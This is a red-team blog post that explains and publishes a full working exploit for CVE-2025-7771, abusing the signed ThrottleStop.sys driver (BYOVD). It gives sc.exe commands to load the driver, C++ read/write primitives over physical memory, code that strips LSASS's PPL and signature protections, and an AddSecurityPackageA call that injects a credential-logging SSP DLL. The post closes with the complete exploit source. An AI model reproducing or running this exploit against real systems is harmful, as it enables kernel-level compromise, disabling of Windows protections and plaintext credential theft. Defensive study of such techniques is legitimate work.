Hello everyone!
In this blog post, I will share some details about an activity we carried out as part of a Red Team exercise. We identified a vulnerability in a kernel driver and developed an exploit for it. Using this exploit, we disabled several Microsoft protections in the Local Security Authority Subsystem Service (LSASS) process to steal credentials in plain text.
The exploit developed as part of this research targets CVE-2025-7771.
To the best of our knowledge, no public exploit existed for this vulnerability at the time of writing, and this work represents the first public exploit.
This technique, commonly referred to as Bring Your Own Vulnerable Driver (BYOVD), consists of loading a legitimately signed but vulnerable kernel driver to abuse its flaws for privilege escalation or security control bypass.
Let’s see all the process step by step starting with a brief introduction of why kernel drivers are so useful for attackers.
For an attacker, gaining control of a Windows driver grants kernel-level execution, allowing direct memory manipulation, syscall interception, and raw hardware access. A compromised driver can disable or evade security tools such as EDRs or antivirus, disable or evade Microsoft protections, and serve as a powerful vector to escalate privileges, deploy malware or move laterally.
Windows uses only Ring 0 and Ring 3 for simplicity and cross-platform compatibility, so all hardware drivers run in Ring 0, where they can access privileged instructions and hardware devices.

Privilege rings in processor architecture: Ring 0 (kernel mode) provides the highest privilege
In this specific attack scenario it was used to disable the Protected Process Light (PPL) Microsoft protection.
To prevent this, Microsoft implemented different protections; two are described below:
Microsoft enforces Driver Signing to maintain the integrity and security of the Windows kernel. Every kernel-mode driver operates with high privileges and can directly interact with hardware and critical system memory. Allowing unsigned or unverified drivers would open the door to malware or unstable code running at the same privilege level as the operating system itself.
By requiring digital signatures, Windows ensures that only verified and untampered drivers can run in kernel mode. Each signed driver carries cryptographic proof of origin and integrity, ensuring that it hasn’t been altered or injected with malicious payloads.
The Microsoft Vulnerable Driver Blocklist is a security feature integrated into Windows that prevents the loading of kernel-mode drivers known to carry exploitable vulnerabilities, even if the drivers are digitally signed. Microsoft maintains this list in collaboration with hardware vendors and the security research community
Microsoft says in his official webpage that the blocklist is updated typically with each major Windows version (about 1-2 times per year), although Microsoft may release interim updates through Windows Update or as part of security-rollup packages when new threats are identified.
We considered two possible paths: searching for an unknown vulnerable driver or finding a recently reported vulnerable driver that was not yet included in Microsoft’s blocklist. Due to time constraints, we chose the second path.
Using MITRE, we searched for the latest driver-related CVEs and identified CVE-2025-7771.
The CVE description contained the following information:
“ThrottleStop.sys, a legitimate driver, exposes two IOCTL interfaces that allow arbitrary read and write access to physical memory via the MmMapIoSpace function. This insecure implementation can be exploited by a malicious user-mode application to patch the running Windows kernel and invoke arbitrary kernel functions with ring-0 privileges. The vulnerability enables local attackers to execute arbitrary code in kernel context, resulting in privilege escalation and potential follow-on attacks, such as disabling security software or bypassing kernel-level protections. ThrottleStop.sys version 3.0.0.0 and possibly others are affected. Apply updates per vendor instructions.”
We first installed the Throttlestop driver, verified its Microsoft signature, and confirmed that it was not present in the Driver Blocklist.
After some research, it was observed that the ThrottleStop software used two different drivers depending on the version (at least for the versions reviewed). One was WinRing0, and the other was ThrottleStop.
To interact with them, a service had to be created and the driver .sys file loaded.
sc.exe create ThrottleStop type= kernel start= auto binPath= C:\Users\Public\ThrottleStop.sys DisplayName= "ThrottleStop" net start ThrottleStop
sc.exe create WinRing0 type= kernel start= auto binPath= C:\Users\Public\WinRing0.sys DisplayName= "WinRing0" net start WinRing0
Before starting the reverse-engineering work on the driver, we found an interesting Kaspersky article. The article provided useful details, although the IOCTL codes and some other data did not match the driver version we analyzed. Nevertheless, we used it as a valuable reference, as it helped us understand address translation, a topic we will cover later.
We determined that the vulnerability relates to MmMapIoSpace, a routine that maps a physical address range into nonpaged system space. If a driver allows arbitrary kernel physical addresses to be mapped, an attacker can read from and write to those mapped regions.
Interact with the driver:
HANDLE hDrv = NULL;
hDrv = CreateFileA("\\\\.\\ThrottleStop",
(GENERIC_READ | GENERIC_WRITE),
0x00,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hDrv == INVALID_HANDLE_VALUE)
{
printf("[-] Failed to get a handle on driver!\n");
return -1;
}
else {
printf("[+] Handle on driver received!\n");
}
Input Output control code identified:
# define IOCTL_MMMAPIOSPACE 0x8000645C
To execute a valid call, we needed to understand which structure the driver expected and ensure that it was valid. After some trial and error, we identified the following structure as valid:
#pragma pack(push,1)
typedef struct {
ULONGLONG PhysicalAddress; // +0
DWORD NumberOfBytes; // +8
} PHYS_REQ; // 0x0C
#pragma pack(pop)
As mentioned earlier, this software used two drivers, which proved useful: one was vulnerable and the other was not. This allowed us to compare their implementations directly and pinpoint the mistake in the vulnerable driver.
Non-vulnerable driver: WinRing0
Only allows mapping physical memory between 0xC0000 and 0xFFFFF.
This design acts as a protection mechanism to prevent arbitrary physical memory reads or writes from kernel space. It restricts calls to MmMapIoSpace to the 0xC0000–0xFFFFF window (ROM/VGA/option ROM), blocking any attempt to access memory outside that range.
Driver developers commonly use this technique in user-facing drivers to ensure that an IOCTL call cannot be abused to perform generic kernel memory read/write operations.

Not vulnerable WinRing0 driver, memory accessed has boundaries
Vulnerable driver: ThrottleStop
The driver performs no control or validation before calling MmMapIoSpace, which allows an attacker to map arbitrary physical memory.

Vulnerable ThrottleStop driver, memory accessed has no boundaries
Before explaining the exploit, we first describe a required capability: translating physical addresses into virtual addresses.
To achieve this, we used Superfetch, following the same method used by the APT group behind the MedusaLocker ransomware and referenced in the Kaspersky blog post.
First, we initialize Superfetch:
auto mm = spf::memory_map::current();
if (!mm) {
printf("[!] Superfetch init failed!\n");
return 0;
}
Then, a physical address can be translated to a virtual address.
auto phys = mm->translate((void*)virt_addr);
if (!phys) {
printf("[!] Translate failed for VA %p!\n", (void*)virt_addr);
return 0;
}
With all these code parts ready, the driver vulnerable IOCTL can be used to create a read and write primitives.
Read Primitive
To read, the required memory is simple, map it and then read.
uint64_t xRead(HANDLE hDrv, uint64_t virt_addr) {
auto mm = spf::memory_map::current();
if (!mm) {
printf("[!] Superfetch init failed!\n");
return 0;
}
auto phys = mm->translate((void*)virt_addr);
if (!phys) {
printf("[!] Translate failed for VA %p!\n", (void*)virt_addr);
return 0;
}
//printf("[+] Virtual Adress=0x%016llx -> Physical Address 0x%016llx\n", virt_addr, phys);
// --- PHYSICAL READ ---
PHYS_REQ in{};
//in.PhysicalAddress = 0x000C0000ULL;
in.PhysicalAddress = phys;
in.NumberOfBytes = 0x8;
ULONGLONG out = 0;
DWORD br = 0;
BOOL ok = DeviceIoControl(hDrv,
IOCTL_MMMAPIOSPACE,
&in, sizeof(in), // 0x0C
&out, sizeof(out), // Accepts 4 or 8
&br, nullptr);
//printf("[+] IOCTL OK=%d, br=%lu, err=%lu, Mapped Memory Ptr=0x%llx\n", ok, br, GetLastError(), (unsigned long long)out);
if (ok && br == 8 && out) {
ULONGLONG result = *(volatile ULONGLONG*)(uintptr_t)out; // 8 bytes exactos
printf("[+] READ WHERE: 0x%016llx | CONTENT: 0x%016llx\n", (unsigned long long)virt_addr, (unsigned long long)result);
return result;
}
return -1;
}
Write Primitive
Writing is a bit more complex: the target memory is first mapped, the desired data is then written into the mapped region, and the original physical memory is consequently modified.
uint64_t xWrite(HANDLE hDrv, uint64_t where, uint64_t what) {
auto mm = spf::memory_map::current();
if (!mm) {
printf("[!] Superfetch init failed!\n");
return 0;
}
auto phys = mm->translate((void*)where);
if (!phys) {
printf("[!] Translate failed for VA %p!\n", (void*)where);
return 0;
}
//printf("[+] Virtual Adress=0x%016llx -> Physical Address 0x%016llx\n", where, phys);
PHYS_REQ in{};
in.PhysicalAddress = phys;
in.NumberOfBytes = 0x8;
ULONGLONG out = 0;
DWORD br = 0;
BOOL ok = DeviceIoControl(hDrv,
IOCTL_MMMAPIOSPACE,
&in, sizeof(in), // 0x0C
&out, sizeof(out), // 8 (acepta 4 o 8)
&br, nullptr);
//printf("[+] IOCTL OK=%d, br=%lu, err=%lu, Mapped Memory Ptr=0x%llx\n", ok, br, GetLastError(), (unsigned long long)out);
if (ok && br == 8 && out) {
ULONGLONG result = *(volatile ULONGLONG*)(uintptr_t)out; // 8 bytes exactos
}
// WRITE
printf("[+] WRITE WHAT: 0x%016llx | WHERE: 0x%016llx\n", (unsigned long long)what, (unsigned long long)where);
*(uint64_t*)out = what;
return 0;
}

Reading a controlled value from a kernel memory address
We have obtained working read and write primitives and they are now ready to be used.
The next step is to disable PPL for the LSASS process, therefore, we need to identify the fields in the PS_PROTECTION / PPL structures that must be modified.
Once we have disabled PPL, we can interact with LSASS freely: for example, we can dump credentials or, as in this case, inject an SSP DLL.
These protections are stored in the PS_PROTECTION/PPL structure present in the LSASS EPROCESS.
First, the NT kernel base (ntoskrnl.exe) should be located. From there, the PsInitialSystemProcess pointer should be read; it points to the head of the EPROCESS doubly-linked list. The list can be traversed using the Flink/Blink fields until LSASS’s EPROCESS is located. Finally, the relevant PS_PROTECTION/PPL fields in that EPROCESS can be located and modified to disable the protection.
This procedure is explained in the image below:

Diagram showing an overview of the structures involved in disabling LSASS protections
To bypass kASLR and locate the kernel structures needed by the exploit, the NT kernel base must first be found. From a non-low-integrity shell you can use the EnumDeviceDrivers WinAPI call to enumerate loaded kernel modules and discover the base address of ntoskrnl.exe.
It was implemented in GetBaseAddr function:
typedef NTSTATUS(WINAPI* NtQueryIntervalProfile_t)(IN ULONG ProfileSource, OUT PULONG Interval);
LPVOID GetBaseAddr(LPCWSTR drvname)
{
LPVOID drivers[1024];
DWORD cbNeeded;
int nDrivers, i = 0;
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers))
{
WCHAR szDrivers[1024];
nDrivers = cbNeeded / sizeof(drivers[0]);
for (i = 0; i < nDrivers; i++)
{
if (GetDeviceDriverBaseName(drivers[i], szDrivers, sizeof(szDrivers) / sizeof(szDrivers[0])))
{
if (wcscmp(szDrivers, drvname) == 0)
{
return drivers[i];
}
}
}
}
return 0;
}
And the function call:
LPVOID nt_base = GetBaseAddr(L"ntoskrnl.exe");
At a specific offset from the NT kernel base there is the PsInitialSystemProcess pointer; it points to the EPROCESS structure for the System process.

PsInitialSystemProcess present in NT points to System process
From each EPROCESS structure, the ImageFileName (or PID) is checked and the list is traversed using the Flink/Blink fields until the LSASS EPROCESS is found. It can be seen in the following code snippet:
ULONGLONG result = 0x0;
// nt!PsInitialSystemProcess nt + 0x5412e0
ULONGLONG system_eprocess = ULONGLONG(nt_base) + 0x5412e0;
DWORD64 Eprocess = xRead(hDrv, (uint64_t)system_eprocess);
printf("[+] EPROCESS: 0x%llX\n", Eprocess);
DWORD64 CurrentProcessPid = xRead(hDrv, (uint64_t)system_eprocess + 0x2e0); // +0x2e0 UniqueProcessId : Ptr64 Void
DWORD64 SearchProcessPid = 0;
DWORD64 searchEprocess = Eprocess;
while (1)
{
searchEprocess = xRead(hDrv, (uint64_t)searchEprocess + 0x2e8) - 0x2e8; // +0x2e8 ActiveProcessLinks : _LIST_ENTRY
SearchProcessPid = xRead(hDrv, (uint64_t)searchEprocess + 0x2e0); // +0x2e0 UniqueProcessId : Ptr64 Void
if (SearchProcessPid == lsassPid) // LSASS PROCESS
{
break;
}
}
printf("[+] Found LSASS EPROCESS!\n");
In the image below is displayed how the different structures are connected:

EPROCESS double-linked list
PsProtectedType must be set to 0 to disable PPL, and then PsProtectedSigner must also be set to 0.
printf("[+] Removing PPL Protection...\n");
xWrite(hDrv, (uint64_t)searchEprocess + 0x6ca, 0x0); // +0x6ca Protection : _PS_PROTECTION
printf("[+] Removing Signature Level Protection...\n");
xWrite(hDrv, (uint64_t)searchEprocess + 0x6c8, 0x0);// +0x6c8 Protection : SignatureLevel : UChar
printf("[+] LSASS protections disabled\n");
The DLL implementing the Security Support Provider was an obfuscated version of mimilib library. The specific DLL implements a custom SSP that would log the credentials of the user in a file during authentication.
We identified three different ways to load the DLL in the LSASS process:
SECURITY_PACKAGE_OPTIONS spo = {};
SECURITY_STATUS ss = AddSecurityPackageA((LPSTR)"c:\\windows\\system32\\ntssp.dll", &spo);
printf("[+] DLL Injection successful!\n");
The first two methods require a reboot of the machine. For this reason, the use of the AddSecurityPackageA call was preferred.
With this last step the code is completed, and the exploit it’s finished:

Driver successfully disabled PPL protections and injected the DLL
You can see the exploit execution in the following video:
And you can find the complete exploit source code below.
Thanks for reading and Happy Hacking! 🙂
#define WIN32_NO_STATUS
#define SECURITY_WIN32
#include <Windows.h>
#include <Psapi.h>
#include <superfetch/superfetch.h>
#include <tlhelp32.h>
#include <string>
#include <sspi.h>
# define IOCTL_MMMAPIOSPACE 0x8000645C
#pragma comment(lib, "Secur32.lib")
#pragma pack(push,1)
typedef struct {
ULONGLONG PhysicalAddress; // +0
DWORD NumberOfBytes; // +8
} PHYS_REQ; // 0x0C
#pragma pack(pop)
// Struct needed to call nt!NtQueryIntervalProfile
typedef NTSTATUS(WINAPI* NtQueryIntervalProfile_t)(IN ULONG ProfileSource, OUT PULONG Interval);
LPVOID GetBaseAddr(LPCWSTR drvname)
{
LPVOID drivers[1024];
DWORD cbNeeded;
int nDrivers, i = 0;
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers))
{
WCHAR szDrivers[1024];
nDrivers = cbNeeded / sizeof(drivers[0]);
for (i = 0; i < nDrivers; i++)
{
if (GetDeviceDriverBaseName(drivers[i], szDrivers, sizeof(szDrivers) / sizeof(szDrivers[0])))
{
if (wcscmp(szDrivers, drvname) == 0)
{
return drivers[i];
}
}
}
}
return 0;
}
uint64_t xRead(HANDLE hDrv, uint64_t virt_addr) {
auto mm = spf::memory_map::current();
if (!mm) {
printf("[!] Superfetch init failed!\n");
return 0;
}
auto phys = mm->translate((void*)virt_addr);
if (!phys) {
printf("[!] Translate failed for VA %p!\n", (void*)virt_addr);
return 0;
}
//printf("[+] Virtual Adress=0x%016llx -> Physical Address 0x%016llx\n", virt_addr, phys);
// --- PHYSICAL READ ---
PHYS_REQ in{};
in.PhysicalAddress = phys;
in.NumberOfBytes = 0x8;
ULONGLONG out = 0;
DWORD br = 0;
BOOL ok = DeviceIoControl(hDrv,
IOCTL_MMMAPIOSPACE,
&in, sizeof(in), // 0x0C
&out, sizeof(out), // Accepts 4 or 8
&br, nullptr);
//printf("[+] IOCTL OK=%d, br=%lu, err=%lu, Mapped Memory Ptr=0x%llx\n", ok, br, GetLastError(), (unsigned long long)out);
if (ok && br == 8 && out) {
ULONGLONG result = *(volatile ULONGLONG*)(uintptr_t)out; // 8 bytes exactos
printf("[+] READ WHERE: 0x%016llx | CONTENT: 0x%016llx\n", (unsigned long long)virt_addr, (unsigned long long)result);
return result;
}
return -1;
}
uint64_t xWrite(HANDLE hDrv, uint64_t where, uint64_t what) {
auto mm = spf::memory_map::current();
if (!mm) {
printf("[!] Superfetch init failed!\n");
return 0;
}
auto phys = mm->translate((void*)where);
if (!phys) {
printf("[!] Translate failed for VA %p!\n", (void*)where);
return 0;
}
//printf("[+] Virtual Adress=0x%016llx -> Physical Address 0x%016llx\n", where, phys);
PHYS_REQ in{};
in.PhysicalAddress = phys;
in.NumberOfBytes = 0x8;
ULONGLONG out = 0;
DWORD br = 0;
BOOL ok = DeviceIoControl(hDrv,
IOCTL_MMMAPIOSPACE,
&in, sizeof(in), // 0x0C
&out, sizeof(out), // 8 (Accepts 4 or 8)
&br, nullptr);
//printf("[+] IOCTL OK=%d, br=%lu, err=%lu, Mapped Memory Ptr=0x%llx\n", ok, br, GetLastError(), (unsigned long long)out);
if (ok && br == 8 && out) {
ULONGLONG result = *(volatile ULONGLONG*)(uintptr_t)out; // 8 bytes exactos
}
// WRITE
printf("[+] WRITE WHAT: 0x%016llx | WHERE: 0x%016llx\n", (unsigned long long)what, (unsigned long long)where);
*(uint64_t*)out = what;
return 0;
}
DWORD FindProcessId(const std::wstring& processName) {
DWORD processId = 0;
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot == INVALID_HANDLE_VALUE)
return 0;
PROCESSENTRY32W entry;
entry.dwSize = sizeof(PROCESSENTRY32W);
if (Process32FirstW(snapshot, &entry)) {
do {
if (!_wcsicmp(entry.szExeFile, processName.c_str())) {
processId = entry.th32ProcessID;
break;
}
} while (Process32NextW(snapshot, &entry));
}
CloseHandle(snapshot);
return processId;
}
int main()
{
DWORD lsassPid = FindProcessId(L"lsass.exe");
printf("[+] Target process PID: %d\n", lsassPid);
//Installing the service
SC_HANDLE hSCManager;
SC_HANDLE hService;
// Open the Service Control Manager
hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (hSCManager == NULL) {
printf("[!] Error opening SCM: %lu\n", GetLastError());
return 1;
}
// Create the service
hService = CreateService(
hSCManager,
L"ThrottleStop",
L"ThrottleStop",
SERVICE_ALL_ACCESS,
SERVICE_KERNEL_DRIVER,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
L"C:\\Users\\Public\\a.sys",
NULL, NULL, NULL, NULL, NULL);
if (hService == NULL) {
printf("[+] Error creating service: %lu\n", GetLastError());
CloseServiceHandle(hSCManager);
//return 1;
}
printf("[!] Service created successfully.\n");
if (!StartService(hService, 0, NULL)) {
printf("[!] Error starting the service: %lu\n", GetLastError());
}
else {
printf("[+] Service started correctly.\n");
}
LPVOID nt_base = GetBaseAddr(L"ntoskrnl.exe");
printf("[+] NT base: %p\n", nt_base);
HANDLE hDrv = NULL;
hDrv = CreateFileA("\\\\.\\ThrottleStop",
(GENERIC_READ | GENERIC_WRITE),
0x00,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hDrv == INVALID_HANDLE_VALUE)
{
printf("[-] Failed to get a handle on driver!\n");
return -1;
}
else {
printf("[+] Handle on driver received!\n");
}
ULONGLONG result = 0x0;
// nt!PsInitialSystemProcess nt + 0x5412e0
ULONGLONG system_eprocess = ULONGLONG(nt_base) + 0x5412e0;
DWORD64 Eprocess = xRead(hDrv, (uint64_t)system_eprocess);
printf("[+] EPROCESS: 0x%llX\n", Eprocess);
DWORD64 CurrentProcessPid = xRead(hDrv, (uint64_t)system_eprocess + 0x2e0); // +0x2e0 UniqueProcessId : Ptr64 Void
DWORD64 SearchProcessPid = 0;
DWORD64 searchEprocess = Eprocess;
while (1)
{
searchEprocess = xRead(hDrv, (uint64_t)searchEprocess + 0x2e8) - 0x2e8; // +0x2e8 ActiveProcessLinks : _LIST_ENTRY
SearchProcessPid = xRead(hDrv, (uint64_t)searchEprocess + 0x2e0); // +0x2e0 UniqueProcessId : Ptr64 Void
if (SearchProcessPid == lsassPid) // LSASS PROCESS
{
break;
}
}
printf("[+] Found LSASS EPROCESS!\n");
printf("[+] Removing PPL Protection...\n");
xWrite(hDrv, (uint64_t)searchEprocess + 0x6ca, 0x0); // +0x6ca Protection : _PS_PROTECTION
printf("[+] Removing Signature Level Protection...\n");
xWrite(hDrv, (uint64_t)searchEprocess + 0x6c8, 0x0);// +0x6c8 Protection : SignatureLevel : UChar
printf("[+] LSASS protections disabled\n");
CloseHandle(hDrv);
SECURITY_PACKAGE_OPTIONS spo = {};
SECURITY_STATUS ss = AddSecurityPackageA((LPSTR)"c:\\windows\\system32\\ntssp.dll", &spo);
printf("[+] DLL Injection successful!\n");
return 0;
}